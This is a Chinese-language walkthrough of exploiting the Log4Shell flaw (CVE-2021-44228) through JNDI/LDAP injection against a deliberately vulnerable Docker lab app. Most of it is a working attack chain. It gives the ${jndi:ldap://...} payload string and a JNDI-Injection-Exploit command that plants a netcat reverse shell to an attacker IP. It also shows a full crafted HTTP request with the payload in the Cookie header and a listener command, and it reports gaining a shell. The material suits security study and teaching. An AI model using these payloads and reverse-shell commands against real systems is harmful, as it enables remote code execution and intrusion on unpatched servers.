JNDI(Java Naming and Directory Interface )接口為Java應(yīng)用程序提供API,可用于綁定遠(yuǎn)程對象、查詢對象以及檢測同一對象的更改。下面結(jié)合CVE-2021-44228說明怎樣使用JNDI注入,重點(diǎn)關(guān)注LDAP。
通過將JNDI與LDAP結(jié)合,URL ldap://localhost:3XX/o能夠從本地計(jì)算機(jī)上運(yùn)行LDAP服務(wù)器控制檢索遠(yuǎn)程對象并執(zhí)行代碼。
換句話說,攻擊者可以做的是找到一些輸入,譬如${jndi:ldap://attackerserver.com.com/x}
這允許攻擊者從他們控制的LDAP服務(wù)器檢索對象并執(zhí)行代碼。
輸入可以是HTTP包頭,如User-Agent,也可以是表單參數(shù)。
利用CVE-2021-44228
該漏洞允許我們從遠(yuǎn)程或本地計(jì)算機(jī)檢索對象并在存在漏洞的應(yīng)用程序上執(zhí)行任意代碼。
在開始利用前,攻擊者需要控制LDAP服務(wù)器,其中有一個目標(biāo)文件,包含想要下載和執(zhí)行的代碼。我們可使用JNDI-Injection-Exploit來啟動LDAP服務(wù)器。
https://github.com/welk1n/JNDI-Injection-Exploit/
我們在 EC2 實(shí)例中運(yùn)行它,該實(shí)例將由攻擊者控制。使用netcat (nc) 命令,打開與易受攻擊的應(yīng)用程序的反向 shell 連接。
這是一個示例命令行:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “nc 54.243.12.192 8083 -e /bin/sh” -A “54.243.12.192”
LDAP 服務(wù)器托管指定的 URL,以便通過反向 shell 命令來使用和檢索惡意代碼。
我們?yōu)檎鎸?shí)場景部署的 Web 應(yīng)用程序使用易受攻擊的 log4j版本,它記錄 User-Agent、Cookie 和 X-Api-Server 的內(nèi)容。
我們使用的網(wǎng)絡(luò)應(yīng)用程序可以在這里下載。
https://github.com/darryk10/log4shell-vulnerable-app
易受攻擊的 Web 服務(wù)器正在端口 8080 上使用 Docker 容器運(yùn)行。通過利用Burp Suite,我們可以通過 LDAP 服務(wù)器上托管的 URL制作請求負(fù)載。讓我們嘗試注入 cookie 屬性,看看是否能夠在易受攻擊的計(jì)算機(jī)上打開反向 shell 。
GET / HTTP/1.1
Host: XXXX:8080
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
X-Api-Version: aaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}'
Connection: close
上面是我們發(fā)送的 HTTP 請求,經(jīng)過 Burp Suite 修改。Cookie參數(shù)中添加了log4j攻擊字符串。
在發(fā)送精心設(shè)計(jì)的請求之前,我們需要使用 nc 命令設(shè)置反向 shell 連接以偵聽端口 8083。
nc -lvnp 8083
我們現(xiàn)在可以發(fā)送精心設(shè)計(jì)的請求,看到 LDAP 服務(wù)器收到了來自應(yīng)用程序的調(diào)用,并且 JettyServer提供了包含反向 shell 的 nc 命令的遠(yuǎn)程類。
https://www.eclipse.org/jetty/
我們可以在攻擊機(jī)器上看到我們成功打開了與易受攻擊的應(yīng)用程序的連接。
現(xiàn)在,我們有能力與機(jī)器交互并執(zhí)行任意代碼。